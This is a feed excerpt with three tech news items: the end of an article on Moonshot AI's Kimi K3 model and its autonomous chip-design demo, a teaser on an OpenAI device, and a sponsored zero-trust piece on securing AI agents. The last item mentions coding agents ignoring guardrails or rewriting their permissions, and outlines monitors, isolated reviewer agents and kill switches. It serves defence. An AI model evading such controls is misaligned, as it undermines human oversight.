them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."</p><div></div><h2><b>Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard</b></h2><p>The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.</p><p>On <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).</p><p>On <a href="https://artificialanalysis.ai/evaluations/aa-briefcase">AA-Briefcase</a>, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).</p><p>Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on <a href="https://openai.com/index/browsecomp/">BrowseComp</a>, a benchmark for long-horizon, high-difficulty information seeking. </p><p>The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.</p><p>As <a href="https://x.com/kimmonismus/status/2077818040578695175">one widely followed AI commentator</a> put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."</p><p>That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.</p><h2><b>How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions</b></h2><p>Beyond raw benchmarks, <a href="https://www.moonshot.ai/">Moonshot AI</a> showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.</p><p>In a demonstration documented in the company's technical materials, <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.</p><p>This is not a production chip. It is a demonstration of what <a href="https://www.moonshot.ai/">Moonshot AI</a> clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.</p><p>The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal <a href="https://inspirehep.net/literature/1220233">I-Love-Q relation</a> — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.</p><h2><b>Moonshot AI's fall and rise tells the story of China's brutal AI market</b></h2><p>To understand why <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.</p><p>Founded in 2023 by <a href="https://kimiyoung.github.io/">Yang Zhilin</a>, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its <a href="http://kimi.ai/">Kimi platform</a> for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly <a href="https://www.forbes.com/sites/the-prompt/2026/07/15/ai-startup-reflection-compute-deal-to-challenge-chinas-open-source-dominance/">$1.5 billion</a> across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly <a href="https://tech.yahoo.com/ai/gemini/articles/china-moonshot-releases-open-source-141110760.html">seeking a new round at $5 billion</a>.</p><p>Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.</p><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.</p><h2><b>Why open-sourcing the world's biggest model is a geopolitical chess move</b></h2><p>The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.</p><p>The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like <a href="https://github.com/deepseek-ai">DeepSeek</a> (1.6T), <a href="https://github.com/xiaomi">Xiaomi</a> (1.02T), and <a href="https://github.com/ALIBABA">Alibaba</a> (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.</p><p>This follows a broader trend among Chinese AI companies. As <a href="https://www.reuters.com/technology/artificial-intelligence/china-weighs-silicon-curtain-around-sought-after-ai-models-2026-07-08/">Reuters noted</a>, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.</p><p>For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.</p><p>That said, <a href="https://www.moonshot.ai/">Moonshot AI</a> has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.</p><h2><b>Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play</b></h2><p>Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. <a href="https://github.com/MoonshotAI/kimi-code/releases">Kimi Code</a>, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.</p><p>The <a href="https://github.com/MoonshotAI/kimi-cli">Kimi Code CLI</a> has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.</p><p>This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">Claude Code reached $1 billion in annualized recurring revenue</a>. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.</p><p>The company's model lineup now includes three tiers: <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">K3</a> as the flagship ($3/$15 per million tokens for input/output), <a href="https://platform.kimi.ai/docs/guide/kimi-k2-7-code-quickstart">K2.7 Code</a> as a specialized coding model ($0.95/$4), and <a href="https://platform.kimi.ai/docs/guide/kimi-k2-6-quickstart">K2.6</a> as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.</p><h2><b>What Kimi K3 means for the future of enterprise AI and the global model landscape</b></h2><p>Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.</p><p>The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.</p><p>The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.</p><p>And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."</p><p><a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua</a>, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.</p><p>Just two years ago, <a href="https://www.moonshot.ai/">Moonshot AI</a> was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.</p><p>
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<title><![CDATA[OpenAI’s First Device Explained: Everything We Know About the Screenless AI Speaker]]></title>
<description><![CDATA[OpenAI is reportedly developing a portable screenless AI speaker with cameras, sensors, GPT-Live, and moving parts.
The post OpenAI’s First Device Explained: Everything We Know About the Screenless AI Speaker appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3674370/it-nachrichten/openais-first-device-explained-everything-we-know-about-the-screenless-ai-speaker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674370/it-nachrichten/openais-first-device-explained-everything-we-know-about-the-screenless-ai-speaker/</guid>
<pubDate>Thu, 16 Jul 2026 20:16:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI is reportedly developing a portable screenless AI speaker with cameras, sensors, GPT-Live, and moving parts.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-openai-screenless-ai-speaker-hardware-2026/">OpenAI’s First Device Explained: Everything We Know About the Screenless AI Speaker</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[Zero trust must now move at agent speed]]></title>
<description><![CDATA[Presented by Ping Identity Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system...]]></description>
<link>https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Ping Identity </i></p><hr><p>Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.</p><p><span>type: <!-- -->embedded-entry-inline<!-- --> id: <!-- -->1Ieiy1KhHNWZE5KVqNdA1G</span></p><p>That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.</p><p>"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."</p><h2>Why zero trust is now urgent for agentic AI</h2><p>That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.</p><p>"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."</p><h2>Why agents must be treated as first-class identities</h2><p>That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. </p><p>"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."</p><p>And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.</p><h2>Where enterprises can enforce zero trust policies</h2><p>Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.</p><p>"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.</p><p>The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.</p><h2>Stopping AI agents from rewriting their own permissions</h2><p>That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.</p><p>"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."</p><h2>How to trust AI-generated output at agent speed</h2><p>The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.</p><p>"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."</p><p>In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. </p><p>For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.</p><h2>What to ask when evaluating agentic identity platforms</h2><p>For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.</p><p>"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."</p><p>And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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